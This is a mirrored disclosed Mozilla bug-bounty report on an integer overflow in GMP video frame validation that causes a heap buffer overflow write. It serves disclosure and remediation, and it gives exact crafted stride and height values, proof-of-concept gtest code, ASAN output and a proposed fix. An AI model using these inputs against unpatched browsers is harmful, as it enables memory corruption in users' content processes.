Skip to content
Memory corruption Disclosed report Advanced

GMP CheckFrameData Stride*Height Integer Overflow Heap Write

The GMP frame validation code multiplies stride by height using raw 32-bit integers, so crafted stride and height values overflow and pass the size check. A compromised GMP child process can then trigger a heap buffer overflow write in the content process through the video decoder IPC path.

Sajeeb Lohani Follow

Originally disclosed on Mozilla

  • Fixed in 40 days
  • Paid in 48 days
  • Disclosed after 40 days

Compromised GMP child process -> content process (WebRTC GMP parent side) via PGMPVideoDecoder IPC.

CheckFrameData (GMPVideoi420FrameImpl.cpp:178-183) validates plane sizes using raw int32_t multiplication of stride * height. With U.stride=INT32_MAX, V.stride=0x40000000, height=7: line 180 computes INT32_MAX * 4 which overflows to -4 (1 < -4 is false, passes). Line 182 computes 0x40000000 * 4 which overflows to 0 (1 < 0 is false, passes). Downstream, WebrtcGmpVideoDecoder::Decoded() (WebrtcGmpVideoCodec.cpp:1047-1052) has a partial CheckedInt32 formula where (stride_v + stride_u) * half_height overflows in raw int32 before the CheckedInt addition sees it. Allocation: 3 bytes. First memcpy (Y plane): 7 bytes. 4-byte heap overflow write.

Distinct from finding #8 (offset overflow at lines 167-172). This exploits the stride*height size validation at lines 178-183.

The Bug

GMPVideoi420FrameImpl.cpp:178-183:

C++
(aFrameData.mUPlane().mSize() <
 aFrameData.mUPlane().mStride() * ((aFrameData.mHeight() + 1) / 2)) ||  // INT32_MAX*4 = -4
(aFrameData.mVPlane().mSize() <
 aFrameData.mVPlane().mStride() * ((aFrameData.mHeight() + 1) / 2))     // 0x40000000*4 = 0

CheckDimensions (line 189-215) in the same file correctly uses CheckedInt<int32_t>. CheckFrameData doesn't.

The Write

WebrtcGmpVideoCodec.cpp:1047-1052:

C++
CheckedInt32 length =
    (CheckedInt32(stride_y) * height) +
    (stride_v + stride_u) * ((height + 1) / 2);  // raw int32 subexpression overflows first

(0x40000000 + INT32_MAX) * 4 = -4 as int32. CheckedInt32(7) + (-4) = 3. Allocation: 3 bytes. memcpy(dst, src, stride_y * height) = 7 bytes into 3 bytes.

ASAN Proof

==22393==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000208bb3
WRITE of size 7 at 0x602000208bb3 thread T0
    #0 in __asan_memcpy
    #1 in GMPFrameOOB_StrideOverflowHeapBufferOverflowWrite_Test::TestBody()

0x602000208bb3 is located 0 bytes after 3-byte region [0x602000208bb0,0x602000208bb3)
SUMMARY: AddressSanitizer: heap-buffer-overflow in GMPFrameOOB_StrideOverflowHeapBufferOverflowWrite_Test::TestBody()

PoC

dom/media/gtest/TestGMPFrameOOB.cpp (tests 4-5):

C++
// Test 4: Stride * height overflow in CheckFrameData lines 178-183.
// Distinct from Tests 1-3 (offset overflow at lines 167-172).
TEST(GMPFrameOOB, StrideHeightOverflowBypassesCheckFrameData)
{
  GMPVideoi420FrameData frameData;

  frameData.mYPlane().mOffset() = 0;
  frameData.mYPlane().mSize() = 7;
  frameData.mYPlane().mStride() = 1;

  frameData.mUPlane().mOffset() = 7;
  frameData.mUPlane().mSize() = 1;
  frameData.mUPlane().mStride() = INT32_MAX;

  frameData.mVPlane().mOffset() = 8;
  frameData.mVPlane().mSize() = 1;
  frameData.mVPlane().mStride() = 0x40000000;

  frameData.mWidth() = 1;
  frameData.mHeight() = 7;
  frameData.mTimestamp() = 0;
  frameData.mUpdatedTimestamp() = mozilla::Nothing();
  frameData.mDuration() = 0;

  size_t bufferSize = 9;
  bool result = GMPVideoi420FrameImpl::CheckFrameData(frameData, bufferSize);
  EXPECT_TRUE(result)
      << "CheckFrameData passes due to stride*height int32 overflow at "
         "lines 178-183";
}

// Test 5: The downstream heap corruption in WebrtcGmpVideoCodec::Decoded().
//
// CheckedInt32 length = (CheckedInt32(stride_y) * height)
//   + (stride_v + stride_u) * ((height + 1) / 2);
//
// The (stride_v + stride_u) * half_height subexpression is raw int32_t,
// evaluated BEFORE the CheckedInt32 addition. With our values:
//   (0x40000000 + INT32_MAX) * 4 = -4 (as int32_t)
//   CheckedInt32(7) + (-4) = CheckedInt32(3)
//
// Allocation: 3 bytes. First memcpy: stride_y * height = 7 bytes.
TEST(GMPFrameOOB, StrideOverflowHeapBufferOverflowWrite)
{
  volatile int32_t v_stride_y = 1;
  volatile int32_t v_stride_u = INT32_MAX;
  volatile int32_t v_stride_v = 0x40000000;
  volatile int32_t v_height = 7;

  int32_t stride_y = v_stride_y;
  int32_t stride_u = v_stride_u;
  int32_t stride_v = v_stride_v;
  int32_t height = v_height;

  mozilla::CheckedInt<int32_t> length =
      (mozilla::CheckedInt<int32_t>(stride_y) * height) +
      (stride_v + stride_u) * ((height + 1) / 2);

  ASSERT_TRUE(length.isValid()) << "CheckedInt should report valid";
  int32_t size = length.value();
  ASSERT_GT(size, 0) << "size should be positive";

  int32_t y_copy_size = stride_y * height;

  ASSERT_GT(y_copy_size, size)
      << "Y memcpy size (" << y_copy_size << ") must exceed allocation ("
      << size << ") for heap overflow";

  uint8_t* src = new uint8_t[y_copy_size];
  memset(src, 0x41, y_copy_size);

  uint8_t* dst = new uint8_t[size];
  memset(dst, 0, size);

  // ASAN: heap-buffer-overflow WRITE past allocation
  memcpy(dst, src, y_copy_size);

  volatile uint8_t sink = dst[0];
  (void)sink;

  delete[] src;
  delete[] dst;
}

Run: ./mach gtest "GMPFrameOOB.Stride*"

Fix

Use CheckedInt for stride*height in CheckFrameData, matching CheckDimensions:

C++
auto uvMinSize_u = mozilla::CheckedInt<int32_t>(aFrameData.mUPlane().mStride()) *
                   ((aFrameData.mHeight() + 1) / 2);
if (!uvMinSize_u.isValid() || aFrameData.mUPlane().mSize() < uvMinSize_u.value()) {
  return false;
}

Also wrap the full computation in Decoded() in CheckedInt32:

C++
CheckedInt32 uv_part = (CheckedInt32(stride_v) + stride_u) * ((height + 1) / 2);

The original report as published on Mozilla's Bugzilla, by Sajeeb Lohani. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The size validation in CheckFrameData and part of the allocation calculation in Decoded use raw int32_t multiplication instead of checked arithmetic, allowing integer overflow to bypass bounds checks.

Impact

A compromised GMP child process could cause a heap buffer overflow write in the content process, potentially leading to memory corruption and further exploitation.

What the attacker needed

Compromised GMP child process

The fix

The fix should use CheckedInt for the stride*height multiplication in CheckFrameData and wrap the full computation in Decoded in CheckedInt32.

How it was found

  1. Craft a GMPVideoi420FrameData with Y plane stride 1 and size 7, U plane stride INT32_MAX and size 1, V plane stride 0x40000000 and size 1, width 1, height 7.
  2. Call GMPVideoi420FrameImpl::CheckFrameData with a buffer size of 9; it returns true because stride*height overflows.
  3. In WebrtcGmpVideoDecoder::Decoded(), the length calculation overflows to 3, so only 3 bytes are allocated.
  4. The Y plane memcpy copies stride_y * height = 7 bytes into the 3-byte allocation, causing a heap buffer overflow write.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A video frame is stored in memory with a width (stride) and height, and the program checks that the buffer is big enough by multiplying them. Because the multiplication uses a fixed-size number type, very large values wrap around to small or negative numbers, so the check wrongly passes. The program then copies more data than it allocated, writing past the end of a heap buffer, which can corrupt memory and potentially be exploited.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Sajeeb Lohani

View all

26 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.